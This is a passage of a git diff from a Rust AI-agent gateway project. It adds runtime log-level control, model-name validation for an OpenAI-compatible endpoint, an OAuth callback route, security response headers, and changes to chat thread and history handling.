"ironclaw=info,tower_http=warn".to_string()); + + // Split into the ironclaw directive and "everything else" (base_filter). + let mut ironclaw_level = String::from("info"); + let mut base_parts: Vec<&str> = Vec::new(); + + for part in raw_filter.split(',') { + let trimmed = part.trim(); + if trimmed.starts_with("ironclaw=") { + if let Some(lvl) = trimmed.strip_prefix("ironclaw=") { + ironclaw_level = lvl.to_string(); + } + } else if !trimmed.is_empty() { + base_parts.push(trimmed); + } + } + let base_filter = base_parts.join(","); + + let env_filter = EnvFilter::new(&raw_filter); + let (reload_layer, reload_handle) = reload::Layer::new(env_filter); + + let handle = Arc::new(LogLevelHandle::new( + reload_handle, + ironclaw_level, + base_filter, + )); + + tracing_subscriber::registry() + .with(reload_layer) + .with( + tracing_subscriber::fmt::layer() + .with_target(false) + .with_writer(crate::tracing_fmt::TruncatingStderr::default()), + ) + .with(WebLogLayer::new(log_broadcaster)) + .init(); + + handle +} + /// Visitor that extracts the `message` field and all extra key-value /// fields from a tracing event. /// diff --git a/src/channels/web/mod.rs b/src/channels/web/mod.rs index 38801e12..92e8ac5f 100644 --- a/src/channels/web/mod.rs +++ b/src/channels/web/mod.rs @@ -15,13 +15,22 @@ //! ``` pub mod auth; +pub(crate) mod handlers; pub mod log_layer; pub mod openai_compat; pub mod server; pub mod sse; pub mod types; +pub(crate) mod util; pub mod ws; +/// Test helpers for gateway integration tests. +/// +/// Always compiled (not behind `#[cfg(test)]`) so that integration tests in +/// `tests/` -- which import this crate as a regular dependency -- can use +/// [`TestGatewayBuilder`](test_helpers::TestGatewayBuilder). +pub mod test_helpers; + use std::net::SocketAddr; use std::sync::Arc; @@ -41,7 +50,7 @@ use crate::skills::registry::SkillRegistry; use crate::tools::ToolRegistry; use crate::workspace::Workspace; -use self::log_layer::LogBroadcaster; +use self::log_layer::{LogBroadcaster, LogLevelHandle}; use self::server::GatewayState; use self::sse::SseManager; @@ -61,13 +70,11 @@ impl GatewayChannel { /// If no auth token is configured, generates a random one and prints it. pub fn new(config: GatewayConfig) -> Self { let auth_token = config.auth_token.clone().unwrap_or_else(|| { - use rand::Rng; - let token: String = rand::thread_rng() - .sample_iter(&rand::distributions::Alphanumeric) - .take(32) - .map(char::from) - .collect(); - token + use rand::RngCore; + use rand::rngs::OsRng; + let mut bytes = [0u8; 32]; + OsRng.fill_bytes(&mut bytes); + bytes.iter().map(|b| format!("{b:02x}")).collect() }); let state = Arc::new(GatewayState { @@ -76,11 +83,13 @@ impl GatewayChannel { workspace: None, session_manager: None, log_broadcaster: None, + log_level_handle: None, extension_manager: None, tool_registry: None, store: None, job_manager: None, prompt_queue: None, + scheduler: None, user_id: config.user_id.clone(), shutdown_tx: tokio::sync::RwLock::new(None), ws_tracker: Some(Arc::new(ws::WsConnectionTracker::new())), @@ -88,6 +97,10 @@ impl GatewayChannel { skill_registry: None, skill_catalog: None, chat_rate_limiter: server::RateLimiter::new(30, 60), + registry_entries: Vec::new(), + cost_guard: None, + routine_engine: Arc::new(tokio::sync::RwLock::new(None)), + startup_time: std::time::Instant::now(), }); Self { @@ -101,15 +114,18 @@ impl GatewayChannel { fn rebuild_state(&mut self, mutate: impl FnOnce(&mut GatewayState)) { let mut new_state = GatewayState { msg_tx: tokio::sync::RwLock::new(None), - sse: SseManager::new(), + // Preserve the existing broadcast channel so sender handles remain valid. + sse: SseManager::from_sender(self.state.sse.sender()), workspace: self.state.workspace.clone(), session_manager: self.state.session_manager.clone(), log_broadcaster: self.state.log_broadcaster.clone(), + log_level_handle: self.state.log_level_handle.clone(), extension_manager: self.state.extension_manager.clone(), tool_registry: self.state.tool_registry.clone(), store: self.state.store.clone(), job_manager: self.state.job_manager.clone(), prompt_queue: self.state.prompt_queue.clone(), + scheduler: self.state.scheduler.clone(), user_id: self.state.user_id.clone(), shutdown_tx: tokio::sync::RwLock::new(None), ws_tracker: self.state.ws_tracker.clone(), @@ -117,6 +133,10 @@ impl GatewayChannel { skill_registry: self.state.skill_registry.clone(), skill_catalog: self.state.skill_catalog.clone(), chat_rate_limiter: server::RateLimiter::new(30, 60), + registry_entries: self.state.registry_entries.clone(), + cost_guard: self.state.cost_guard.clone(), + routine_engine: Arc::clone(&self.state.routine_engine), + startup_time: self.state.startup_time, }; mutate(&mut new_state); self.state = Arc::new(new_state); @@ -140,6 +160,12 @@ impl GatewayChannel { self } + /// Inject the log level handle for runtime log level control. + pub fn with_log_level_handle(mut self, h: Arc) -> Self { + self.rebuild_state(|s| s.log_level_handle = Some(h)); + self + } + /// Inject the extension manager for the extensions API. pub fn with_extension_manager(mut self, em: Arc) -> Self { self.rebuild_state(|s| s.extension_manager = Some(em)); @@ -180,6 +206,12 @@ impl GatewayChannel { self } + /// Inject the scheduler for sending follow-up messages to agent jobs. + pub fn with_scheduler(mut self, slot: crate::tools::builtin::SchedulerSlot) -> Self { + self.rebuild_state(|s| s.scheduler = Some(slot)); + self + } + /// Inject the skill registry for skill management API. pub fn with_skill_registry(mut self, sr: Arc>) -> Self { self.rebuild_state(|s| s.skill_registry = Some(sr)); @@ -198,6 +230,18 @@ impl GatewayChannel { self } + /// Inject registry catalog entries for the available extensions API. + pub fn with_registry_entries(mut self, entries: Vec) -> Self { + self.rebuild_state(|s| s.registry_entries = entries); + self + } + + /// Inject the cost guard for token/cost tracking in the status popover. + pub fn with_cost_guard(mut self, cg: Arc) -> Self { + self.rebuild_state(|s| s.cost_guard = Some(cg)); + self + } + /// Get the auth token (for printing to console on startup). pub fn auth_token(&self) -> &str { &self.auth_token @@ -239,7 +283,15 @@ impl Channel for GatewayChannel { msg: &IncomingMessage, response: OutgoingResponse, ) -> Result<(), ChannelError> { - let thread_id = msg.thread_id.clone().unwrap_or_default(); + let thread_id = match &msg.thread_id { + Some(tid) => tid.clone(), + None => { + tracing::warn!( + "Gateway respond with no thread_id — skipping (clients would drop it)" + ); + return Ok(()); + } + }; self.state.sse.broadcast(SseEvent::Response { content: response.content, @@ -267,9 +319,16 @@ impl Channel for GatewayChannel { name, thread_id: thread_id.clone(), }, - StatusUpdate::ToolCompleted { name, success } => SseEvent::ToolCompleted { + StatusUpdate::ToolCompleted { name, success, + error, + parameters, + } => SseEvent::ToolCompleted { + name, + success, + error, + parameters, thread_id: thread_id.clone(), }, StatusUpdate::ToolResult { name, preview } => SseEvent::ToolResult { @@ -305,6 +364,7 @@ impl Channel for GatewayChannel { description, parameters: serde_json::to_string_pretty(¶meters) .unwrap_or_else(|_| parameters.to_string()), + thread_id, }, StatusUpdate::AuthRequired { extension_name, @@ -337,9 +397,18 @@ impl Channel for GatewayChannel { _user_id: &str, response: OutgoingResponse, ) -> Result<(), ChannelError> { + let thread_id = match response.thread_id { + Some(tid) => tid, + None => { + tracing::warn!( + "Gateway broadcast with no thread_id — skipping (clients would drop it)" + ); + return Ok(()); + } + }; self.state.sse.broadcast(SseEvent::Response { content: response.content, - thread_id: String::new(), + thread_id, }); Ok(()) } diff --git a/src/channels/web/openai_compat.rs b/src/channels/web/openai_compat.rs index b2dfa007..e329693a 100644 --- a/src/channels/web/openai_compat.rs +++ b/src/channels/web/openai_compat.rs @@ -24,6 +24,8 @@ use crate::llm::{ use super::server::GatewayState; +const MAX_MODEL_NAME_BYTES: usize = 256; + // --------------------------------------------------------------------------- // OpenAI request types // --------------------------------------------------------------------------- @@ -242,6 +244,7 @@ pub fn convert_messages(messages: &[OpenAiMessage]) -> Result, _ => Ok(ChatMessage { role, content: m.content.as_deref().unwrap_or("").to_string(), + content_parts: Vec::new(), tool_call_id: None, name: m.name.clone(), tool_calls: None, @@ -380,6 +383,27 @@ fn unix_timestamp() -> u64 { .as_secs() } +fn validate_model_name(model: &str) -> Result<(), String> { + let trimmed = model.trim(); + + if trimmed.is_empty() { + return Err("model must not be empty".to_string()); + } + if trimmed != model { + return Err("model must not have leading or trailing whitespace".to_string()); + } + if model.len() > MAX_MODEL_NAME_BYTES { + return Err(format!( + "model must be at most {} bytes", + MAX_MODEL_NAME_BYTES + )); + } + if model.chars().any(char::is_control) { + return Err("model contains control characters".to_string()); + } + Ok(()) +} + /// Extract stop sequences from the flexible `stop` field. fn parse_stop(val: &serde_json::Value) -> Option> { match val { @@ -426,29 +450,17 @@ pub async fn chat_completions_handler( "invalid_request_error", )); } - - // Validate the requested model matches the active model. - // Per-request model switching is not yet supported (see GH issue). - let active_model = llm.active_model_name(); - if req.model != active_model { - return Err(( - StatusCode::NOT_FOUND, - Json(OpenAiErrorResponse { - error: OpenAiErrorDetail { - message: format!( - "Model '{}' not found. The active model is '{}'.", - req.model, active_model - ), - error_type: "invalid_request_error".to_string(), - param: Some("model".to_string()), - code: Some("model_not_found".to_string()), - }, - }), + if let Err(e) = validate_model_name(&req.model) { + return Err(openai_error( + StatusCode::BAD_REQUEST, + e, + "invalid_request_error", )); } let has_tools = req.tools.as_ref().is_some_and(|t| !t.is_empty()); let stream = req.stream.unwrap_or(false); + let requested_model = req.model.clone(); if stream { return handle_streaming(llm.clone(), req, has_tools) @@ -460,13 +472,12 @@ pub async fn chat_completions_handler( let messages = convert_messages(&req.messages) .map_err(|e| openai_error(StatusCode::BAD_REQUEST, e, "invalid_request_error"))?; - let model_name = llm.active_model_name(); let id = chat_completion_id(); let created = unix_timestamp(); if has_tools { let tools = convert_tools(req.tools.as_deref().unwrap_or(&[])); - let mut tool_req = ToolCompletionRequest::new(messages, tools); + let mut tool_req = ToolCompletionRequest::new(messages, tools).with_model(req.model); if let Some(t) = req.temperature { tool_req = tool_req.with_temperature(t); } @@ -483,6 +494,7 @@ pub async fn chat_completions_handler( .complete_with_tools(tool_req) .await .map_err(map_llm_error)?; + let model_name = llm.effective_model_name(Some(requested_model.as_str())); let tool_calls_openai = if resp.tool_calls.is_empty() { None @@ -515,7 +527,7 @@ pub async fn chat_completions_handler( Ok(Json(response).into_response()) } else { - let mut comp_req = CompletionRequest::new(messages); + let mut comp_req = CompletionRequest::new(messages).with_model(req.model); if let Some(t) = req.temperature { comp_req = comp_req.with_temperature(t); } @@ -527,6 +539,7 @@ pub async fn chat_completions_handler( } let resp = llm.complete(comp_req).await.map_err(map_llm_error)?; + let model_name = llm.effective_model_name(Some(requested_model.as_str())); let response = OpenAiChatResponse { id, @@ -570,7 +583,7 @@ async fn handle_streaming( let messages = convert_messages(&req.messages) .map_err(|e| openai_error(StatusCode::BAD_REQUEST, e, "invalid_request_error"))?; - let model_name = llm.active_model_name(); + let requested_model = req.model.clone(); let id = chat_completion_id(); let created = unix_timestamp(); @@ -584,7 +597,7 @@ async fn handle_streaming( let llm_result = if has_tools { let tools = convert_tools(req.tools.as_deref().unwrap_or(&[])); - let mut tool_req = ToolCompletionRequest::new(messages, tools); + let mut tool_req = ToolCompletionRequest::new(messages, tools).with_model(req.model); if let Some(t) = req.temperature { tool_req = tool_req.with_temperature(t); } @@ -602,7 +615,7 @@ async fn handle_streaming( .map_err(map_llm_error)?, ) } else { - let mut comp_req = CompletionRequest::new(messages); + let mut comp_req = CompletionRequest::new(messages).with_model(req.model); if let Some(t) = req.temperature { comp_req = comp_req.with_temperature(t); } @@ -614,6 +627,7 @@ async fn handle_streaming( } LlmResult::Simple(llm.complete(comp_req).await.map_err(map_llm_error)?) }; + let model_name = llm.effective_model_name(Some(requested_model.as_str())); // LLM succeeded — emit the response as SSE chunks let (tx, rx) = tokio::sync::mpsc::channel::>(64); @@ -1091,4 +1105,18 @@ mod tests { let v = serde_json::Value::Null; assert_eq!(parse_stop(&v), None); } + + #[test] + fn test_validate_model_name_rejects_leading_or_trailing_whitespace() { + let err = validate_model_name(" gpt-4").unwrap_err(); + assert!(err.contains("leading or trailing whitespace")); + + let err = validate_model_name("gpt-4 ").unwrap_err(); + assert!(err.contains("leading or trailing whitespace")); + } + + #[test] + fn test_validate_model_name_accepts_normal_name() { + assert!(validate_model_name("gpt-4").is_ok()); + } } diff --git a/src/channels/web/server.rs b/src/channels/web/server.rs index 04068b4f..1c6e7f85 100644 --- a/src/channels/web/server.rs +++ b/src/channels/web/server.rs @@ -13,7 +13,7 @@ use axum::{ http::{StatusCode, header}, middleware, response::{ - Html, IntoResponse, + IntoResponse, sse::{Event, KeepAlive, Sse}, }, routing::{get, post}, @@ -22,14 +22,25 @@ use serde::Deserialize; use tokio::sync::{mpsc, oneshot}; use tokio_stream::StreamExt; use tower_http::cors::{AllowHeaders, CorsLayer}; +use tower_http::set_header::SetResponseHeaderLayer; use uuid::Uuid; use crate::agent::SessionManager; +use crate::bootstrap::ironclaw_base_dir; use crate::channels::IncomingMessage; use crate::channels::web::auth::{AuthState, auth_middleware}; +use crate::channels::web::handlers::jobs::{ + job_files_list_handler, job_files_read_handler, jobs_cancel_handler, jobs_detail_handler, + jobs_events_handler, jobs_list_handler, jobs_prompt_handler, jobs_restart_handler, + jobs_summary_handler, +}; +use crate::channels::web::handlers::skills::{ + skills_install_handler, skills_list_handler, skills_remove_handler, skills_search_handler, +}; use crate::channels::web::log_layer::LogBroadcaster; use crate::channels::web::sse::SseManager; use crate::channels::web::types::*; +use crate::channels::web::util::{build_turns_from_db_messages, truncate_preview}; use crate::db::Database; use crate::extensions::ExtensionManager; use crate::orchestrator::job_manager::ContainerJobManager; @@ -46,6 +57,10 @@ pub type PromptQueue = Arc< >, >; +/// Slot for the routine engine, filled at runtime after the agent starts. +pub type RoutineEngineSlot = + Arc>>>; + /// Simple sliding-window rate limiter. /// /// Tracks the number of requests in the current window. Resets when the window expires. @@ -121,6 +136,8 @@ pub struct GatewayState { pub session_manager: Option>, /// Log broadcaster for the logs SSE endpoint. pub log_broadcaster: Option>, + /// Handle for changing the tracing log level at runtime. + pub log_level_handle: Option>, /// Extension manager for extension management API. pub extension_manager: Option>, /// Tool registry for listing registered tools. @@ -143,8 +160,19 @@ pub struct GatewayState { pub skill_registry: Option>>, /// Skill catalog for searching the ClawHub registry. pub skill_catalog: Option>, + /// Scheduler for sending follow-up messages to running agent jobs. + pub scheduler: Option, /// Rate limiter for chat endpoints (30 messages per 60 seconds). pub chat_rate_limiter: RateLimiter, + /// Registry catalog entries for the available extensions API. + /// Populated at startup from `registry/` manifests, independent of extension manager. + pub registry_entries: Vec, + /// Cost guard for token/cost tracking. + pub cost_guard: Option>, + /// Routine engine slot for manual routine triggering (filled at runtime). + pub routine_engine: RoutineEngineSlot, + /// Server startup time for uptime calculation. + pub startup_time: std::time::Instant, } /// Start the gateway HTTP server. @@ -170,7 +198,9 @@ pub async fn start_server( })?; // Public routes (no auth) - let public = Router::new().route("/api/health", get(health_handler)); + let public = Router::new() + .route("/api/health", get(health_handler)) + .route("/oauth/callback", get(oauth_callback_handler)); // Protected routes (require auth) let auth_state = AuthState { token: auth_token }; @@ -203,9 +233,15 @@ pub async fn start_server( .route("/api/jobs/{id}/files/read", get(job_files_read_handler)) // Logs .route("/api/logs/events", get(logs_events_handler)) + .route("/api/logs/level", get(logs_level_get_handler)) + .route( + "/api/logs/level", + axum::routing::put(logs_level_set_handler), + ) // Extensions .route("/api/extensions", get(extensions_list_handler)) .route("/api/extensions/tools", get(extensions_tools_handler)) + .route("/api/extensions/registry", get(extensions_registry_handler)) .route("/api/extensions/install", post(extensions_install_handler)) .route( "/api/extensions/{name}/activate", @@ -215,6 +251,16 @@ pub async fn start_server( "/api/extensions/{name}/remove", post(extensions_remove_handler), ) + .route( + "/api/extensions/{name}/setup", + get(extensions_setup_handler).post(extensions_setup_submit_handler), + ) + // Pairing + .route("/api/pairing/{channel}", get(pairing_list_handler)) + .route( + "/api/pairing/{channel}/approve", + post(pairing_approve_handler), + ) // Routines .route("/api/routines", get(routines_list_handler)) .route("/api/routines/summary", get(routines_summary_handler)) @@ -264,7 +310,8 @@ pub async fn start_server( let statics = Router::new() .route("/", get(index_handler)) .route("/style.css", get(css_handler)) - .route("/app.js", get(js_handler)); + .route("/app.js", get(js_handler)) + .route("/favicon.ico", get(favicon_handler)); // Project file serving (behind auth to prevent unauthorized file access). let projects = Router::new() @@ -304,8 +351,16 @@ pub async fn start_server( .merge(statics) .merge(projects) .merge(protected) - .layer(cors) .layer(DefaultBodyLimit::max(1024 * 1024)) // 1 MB max request body + .layer(cors) + .layer(SetResponseHeaderLayer::if_not_present( + header::X_CONTENT_TYPE_OPTIONS, + header::HeaderValue::from_static("nosniff"), + )) + .layer(SetResponseHeaderLayer::if_not_present( + header::X_FRAME_OPTIONS, + header::HeaderValue::from_static("DENY"), + )) .with_state(state.clone()); let (shutdown_tx, shutdown_rx) = oneshot::channel(); @@ -328,24 +383,46 @@ pub async fn start_server( // --- Static file handlers --- -async fn index_handler() -> Html<&'static str> { - Html(include_str!("static/index.html")) +async fn index_handler() -> impl IntoResponse { + ( + [ + (header::CONTENT_TYPE, "text/html; charset=utf-8"), + (header::CACHE_CONTROL, "no-cache"), + ], + include_str!("static/index.html"), + ) } async fn css_handler() -> impl IntoResponse { ( - [(header::CONTENT_TYPE, "text/css")], + [ + (header::CONTENT_TYPE, "text/css"), + (header::CACHE_CONTROL, "no-cache"), + ], include_str!("static/style.css"), ) } async fn js_handler() -> impl IntoResponse { ( - [(header::CONTENT_TYPE, "application/javascript")], + [ + (header::CONTENT_TYPE, "application/javascript"), + (header::CACHE_CONTROL, "no-cache"), + ], include_str!("static/app.js"), ) } +async fn favicon_handler() -> impl IntoResponse { + ( + [ + (header::CONTENT_TYPE, "image/x-icon"), + (header::CACHE_CONTROL, "public, max-age=86400"), + ], + include_bytes!("static/favicon.ico").as_slice(), + ) +} + // --- Health --- async fn health_handler() -> Json { @@ -355,12 +432,193 @@ async fn health_handler() -> Json { }) } +/// Return an OAuth error landing page response. +fn oauth_error_page(label: &str) -> axum::response::Response { + let html = crate::cli::oauth_defaults::landing_html(label, false); + axum::response::Html(html).into_response() +} + +/// OAuth callback handler for the web gateway. +/// +/// This is a PUBLIC route (no Bearer token required) because OAuth providers +/// redirect the user's browser here. The `state` query parameter correlates +/// the callback with a pending OAuth flow registered by `start_wasm_oauth()`. +/// +/// Used on hosted instances where `IRONCLAW_OAUTH_CALLBACK_URL` points to +/// the gateway (e.g., `https://kind-deer.agent1.near.ai/oauth/callback`). +/// Local/desktop mode continues to use the TCP listener on port 9876. +async fn oauth_callback_handler( + State(state): State>, + Query(params): Query>, +) -> impl IntoResponse { + use crate::cli::oauth_defaults; + + // Check for error from OAuth provider (e.g., user denied consent) + if let Some(error) = params.get("error") { + let description = params + .get("error_description") + .cloned() + .unwrap_or_else(|| error.clone()); + return oauth_error_page(&description); + } + + let state_param = match params.get("state") { + Some(s) if !s.is_empty() => s.clone(), + _ => return oauth_error_page("IronClaw"), + }; + + let code = match params.get("code") { + Some(c) if !c.is_empty() => c.clone(), + _ => return oauth_error_page("IronClaw"), + }; + + // Look up the pending flow by CSRF state (atomic remove prevents replay) + let ext_mgr = match state.extension_manager.as_ref() { + Some(mgr) => mgr, + None => return oauth_error_page("IronClaw"), + }; + + // Strip instance prefix from state for registry lookup. + // Platform nginx sends `state=instance:nonce` but flows are keyed by nonce only. + let lookup_key = oauth_defaults::strip_instance_prefix(&state_param); + + let flow = ext_mgr + .pending_oauth_flows() + .write() + .await + .remove(lookup_key); + + let flow = match flow { + Some(f) => f, + None => { + tracing::warn!( + state = %state_param, + lookup_key = %lookup_key, + "OAuth callback received with unknown or expired state" + ); + return oauth_error_page("IronClaw"); + } + }; + + // Check flow expiry (5 minutes, matching TCP listener timeout) + if flow.created_at.elapsed() > oauth_defaults::OAUTH_FLOW_EXPIRY { + tracing::warn!( + extension = %flow.extension_name, + "OAuth flow expired" + ); + return oauth_error_page(&flow.display_name); + } + + // Exchange the authorization code for tokens. + // Use the platform exchange proxy when configured (keeps client_secret off container), + // otherwise call the provider's token URL directly. + let exchange_proxy_url = std::env::var("IRONCLAW_OAUTH_EXCHANGE_URL").ok(); + + let result: Result<(), String> = async { + let token_response = if let Some(ref proxy_url) = exchange_proxy_url { + let gateway_token = flow.gateway_token.as_deref().unwrap_or_default(); + oauth_defaults::exchange_via_proxy( + proxy_url, + gateway_token, + &code, + &flow.redirect_uri, + flow.code_verifier.as_deref(), + &flow.access_token_field, + ) + .await + .map_err(|e| e.to_string())? + } else { + oauth_defaults::exchange_oauth_code( + &flow.token_url, + &flow.client_id, + flow.client_secret.as_deref(), + &code, + &flow.redirect_uri, + flow.code_verifier.as_deref(), + &flow.access_token_field, + ) + .await + .map_err(|e| e.to_string())? + }; + + // Validate the token before storing (catches wrong account, etc.) + if let Some(ref validation) = flow.validation_endpoint { + oauth_defaults::validate_oauth_token(&token_response.access_token, validation) + .await + .map_err(|e| e.to_string())?; + } + + // Store tokens encrypted in the secrets store + oauth_defaults::store_oauth_tokens( + flow.secrets.as_ref(), + &flow.user_id, + &flow.secret_name, + flow.provider.as_deref(), + &token_response.access_token, + token_response.refresh_token.as_deref(), + token_response.expires_in, + &flow.scopes, + ) + .await + .map_err(|e| e.to_string())?; + + Ok(()) + } + .await; + + let (success, message) = match &result { + Ok(()) => ( + true, + format!("{} authenticated successfully", flow.display_name), + ), + Err(e) => ( + false, + format!("{} authentication failed: {}", flow.display_name, e), + ), + }; + + match &result { + Ok(()) => { + tracing::info!( + extension = %flow.extension_name, + "OAuth completed successfully via gateway callback" + ); + } + Err(e) => { + tracing::warn!( + extension = %flow.extension_name, + error = %e, + "OAuth failed via gateway callback" + ); + } + } + + // Broadcast SSE event to notify the web UI + if let Some(ref sender) = flow.sse_sender { + let _ = sender.send(SseEvent::AuthCompleted { + extension_name: flow.extension_name, + success, + message, + }); + } + + let html = oauth_defaults::landing_html(&flow.display_name, success); + axum::response::Html(html).into_response() +} + // --- Chat handlers --- async fn chat_send_handler( State(state): State>, + headers: axum::http::HeaderMap, Json(req): Json, ) -> Result<(StatusCode, Json), (StatusCode, String)> { + tracing::debug!( + "[chat_send_handler] Received message: content={:?}, thread_id={:?}", + req.content, + req.thread_id + ); + if !state.chat_rate_limiter.check() { return Err(( StatusCode::TOO_MANY_REQUESTS, @@ -369,6 +627,14 @@ async fn chat_send_handler( } let mut msg = IncomingMessage::new("gateway", &state.user_id, &req.content); + // Prefer timezone from JSON body, fall back to X-Timezone header + let tz = req + .timezone + .as_deref() + .or_else(|| headers.get("X-Timezone").and_then(|v| v.to_str().ok())); + if let Some(tz) = tz { + msg = msg.with_timezone(tz); + } if let Some(ref thread_id) = req.thread_id { msg = msg.with_thread(thread_id); @@ -376,6 +642,11 @@ async fn chat_send_handler( } let msg_id = msg.id; + tracing::debug!( + "[chat_send_handler] Created message id={}, content={:?}", + msg_id, + req.content + ); let tx_guard = state.msg_tx.read().await; let tx = tx_guard.as_ref().ok_or(( @@ -383,6 +654,7 @@ async fn chat_send_handler( "Channel not started".to_string(), ))?; + tracing::debug!("[chat_send_handler] Sending message through channel"); tx.send(msg).await.map_err(|_| { ( StatusCode::INTERNAL_SERVER_ERROR, @@ -390,6 +662,8 @@ async fn chat_send_handler( ) })?; + tracing::debug!("[chat_send_handler] Message sent successfully, returning 202 ACCEPTED"); + Ok(( StatusCode::ACCEPTED, Json(SendMessageResponse { @@ -483,7 +757,7 @@ async fn chat_auth_token_handler( .await .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; - if result.status == "authenticated" { + if result.is_authenticated() { // Auto-activate so tools are available immediately let msg = match ext_mgr.activate(&req.extension_name).await { Ok(r) => format!( @@ -511,13 +785,14 @@ async fn chat_auth_token_handler( // Re-emit auth_required for retry state.sse.broadcast(SseEvent::AuthRequired { extension_name: req.extension_name.clone(), - instructions: result.instructions.clone(), - auth_url: result.auth_url.clone(), - setup_url: result.setup_url.clone(), + instructions: result.instructions().map(String::from), + auth_url: result.auth_url().map(String::from), + setup_url: result.setup_url().map(String::from), }); Ok(Json(ActionResponse::fail( result - .instructions + .instructions() + .map(String::from) .unwrap_or_else(|| "Invalid token".to_string()), ))) } @@ -548,9 +823,13 @@ pub async fn clear_auth_mode(state: &GatewayState) { async fn chat_events_handler( State(state): State>, ) -> Result { - state.sse.subscribe().ok_or(( + let sse = state.sse.subscribe().ok_or(( StatusCode::SERVICE_UNAVAILABLE, "Too many connections".to_string(), + ))?; + Ok(( + [("X-Accel-Buffering", "no"), ("Cache-Control", "no-cache")], + sse, )) } @@ -666,12 +945,13 @@ async fn chat_history_handler( turns, has_more, oldest_timestamp, + pending_approval: None, })); } // Try in-memory first (freshest data for active threads) if let Some(thread) = sess.threads.get(&thread_id) - && !thread.turns.is_empty() + && (!thread.turns.is_empty() || thread.pending_approval.is_some()) { let turns: Vec = thread .turns @@ -690,16 +970,35 @@ async fn chat_history_handler( name: tc.name.clone(), has_result: tc.result.is_some(), has_error: tc.error.is_some(), + result_preview: tc.result.as_ref().map(|r| { + let s = match r { + serde_json::Value::String(s) => s.clone(), + other => other.to_string(), + }; + truncate_preview(&s, 500) + }), + error: tc.error.clone(), }) .collect(), }) .collect(); + let pending_approval = thread + .pending_approval + .as_ref() + .map(|pa| PendingApprovalInfo { + request_id: pa.request_id.to_string(), + tool_name: pa.tool_name.clone(), + description: pa.description.clone(), + parameters: serde_json::to_string_pretty(&pa.parameters).unwrap_or_default(), + }); + return Ok(Json(HistoryResponse { thread_id, turns, has_more: false, oldest_timestamp: None, + pending_approval, })); } @@ -718,6 +1017,7 @@ async fn chat_history_handler( turns, has_more, oldest_timestamp, + pending_approval: None, })); } } @@ -728,49 +1028,10 @@ async fn chat_history_handler( turns: Vec::new(), has_more: false, oldest_timestamp: None, + pending_approval: None, })) } -/// Build TurnInfo pairs from flat DB messages (alternating user/assistant). -fn build_turns_from_db_messages(messages: &[crate::history::ConversationMessage]) -> Vec { - let mut turns = Vec::new(); - let mut turn_number = 0; - let mut iter = messages.iter().peekable(); - - while let Some(msg) = iter.next() { - if msg.role == "user" { - let mut turn = TurnInfo { - turn_number, - user_input: msg.content.clone(), - response: None, - state: "Completed".to_string(), - started_at: msg.created_at.to_rfc3339(), - completed_at: None, - tool_calls: Vec::new(), - }; - - // Check if next message is an assistant response - if let Some(next) = iter.peek() - && next.role == "assistant" - { - let assistant_msg = iter.next().expect("peeked"); - turn.response = Some(assistant_msg.content.clone()); - turn.completed_at = Some(assistant_msg.created_at.to_rfc3339()); - } - - // Incomplete turn (user message without response) - if turn.response.is_none() { - turn.state = "Failed".to_string(); - } - - turns.push(turn); - turn_number += 1; - } - } - - turns -} - async fn chat_threads_handler( State(state): State>, ) -> Result, (StatusCode, String)> { @@ -791,7 +1052,7 @@ async fn chat_threads_handler( .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; if let Ok(summaries) = store - .list_conversations_with_preview(&state.user_id, "gateway", 50) + .list_conversations_all_channels(&state.user_id, 50) .await { let mut assistant_thread = None; @@ -801,11 +1062,12 @@ async fn chat_threads_handler( let info = ThreadInfo { id: s.id, state: "Idle".to_string(), - turn_count: (s.message_count / 2).max(0) as usize, + turn_count: s.message_count.max(0) as usize, created_at: s.started_at.to_rfc3339(), updated_at: s.last_activity.to_rfc3339(), title: s.title.clone(), thread_type: s.thread_type.clone(), + channel: Some(s.channel.clone()), }; if s.id == assistant_id { @@ -825,6 +1087,7 @@ async fn chat_threads_handler( updated_at: chrono::Utc::now().to_rfc3339(), title: None, thread_type: Some("assistant".to_string()), + channel: Some("gateway".to_string()), }); } @@ -837,9 +1100,10 @@ async fn chat_threads_handler( } // Fallback: in-memory only (no assistant thread without DB) - let threads: Vec = sess - .threads - .values() + let mut sorted_threads: Vec<_> = sess.threads.values().collect(); + sorted_threads.sort_by(|a, b| b.updated_at.cmp(&a.updated_at)); + let threads: Vec = sorted_threads + .into_iter() .map(|t| ThreadInfo { id: t.id, state: format!("{:?}", t.state), @@ -848,6 +1112,7 @@ async fn chat_threads_handler( updated_at: t.updated_at.to_rfc3339(), title: None, thread_type: None, + channel: Some("gateway".to_string()), }) .collect(); @@ -867,38 +1132,39 @@ async fn chat_new_thread_handler( ))?; let session = session_manager.get_or_create_session(&state.user_id).await; - let mut sess = session.lock().await; - let thread = sess.create_thread(); - let thread_id = thread.id; - let info = ThreadInfo { - id: thread.id, - state: format!("{:?}", thread.state), - turn_count: thread.turns.len(), - created_at: thread.created_at.to_rfc3339(), - updated_at: thread.updated_at.to_rfc3339(), - title: None, - thread_type: Some("thread".to_string()), + let (thread_id, info) = { + let mut sess = session.lock().await; + let thread = sess.create_thread(); + let id = thread.id; + let info = ThreadInfo { + id: thread.id, + state: format!("{:?}", thread.state), + turn_count: thread.turns.len(), + created_at: thread.created_at.to_rfc3339(), + updated_at: thread.updated_at.to_rfc3339(), + title: None, + thread_type: Some("thread".to_string()), + channel: Some("gateway".to_string()), + }; + (id, info) }; - // Persist the empty conversation row with thread_type metadata + // Persist the empty conversation row with thread_type metadata synchronously + // so that the subsequent loadThreads() call from the frontend sees it. if let Some(ref store) = state.store { - let store = Arc::clone(store); - let user_id = state.user_id.clone(); - tokio::spawn(async move { - if let Err(e) = store - .ensure_conversation(thread_id, "gateway", &user_id, None) - .await - { - tracing::warn!("Failed to persist new thread: {}", e); - } - let metadata_val = serde_json::json!("thread"); - if let Err(e) = store - .update_conversation_metadata_field(thread_id, "thread_type", &metadata_val) - .await - { - tracing::warn!("Failed to set thread_type metadata: {}", e); - } - }); + if let Err(e) = store + .ensure_conversation(thread_id, "gateway", &state.user_id, None) + .await + { + tracing::warn!("Failed to persist new thread: {}", e); + } + let metadata_val = serde_json::json!("thread"); + if let Err(e) = store + .update_conversation_metadata_field(thread_id, "thread_type", &metadata_val) + .await + { + tracing::warn!("Failed to set thread_type metadata: {}", e); + } } Ok(Json(info)) @@ -1064,522 +1330,12 @@ async fn memory_search_handler( Ok(Json(MemorySearchResponse { results: hits })) } -// --- Jobs handlers --- - -async fn jobs_list_handler( - State(state): State>, -) -> Result, (StatusCode, String)> { - 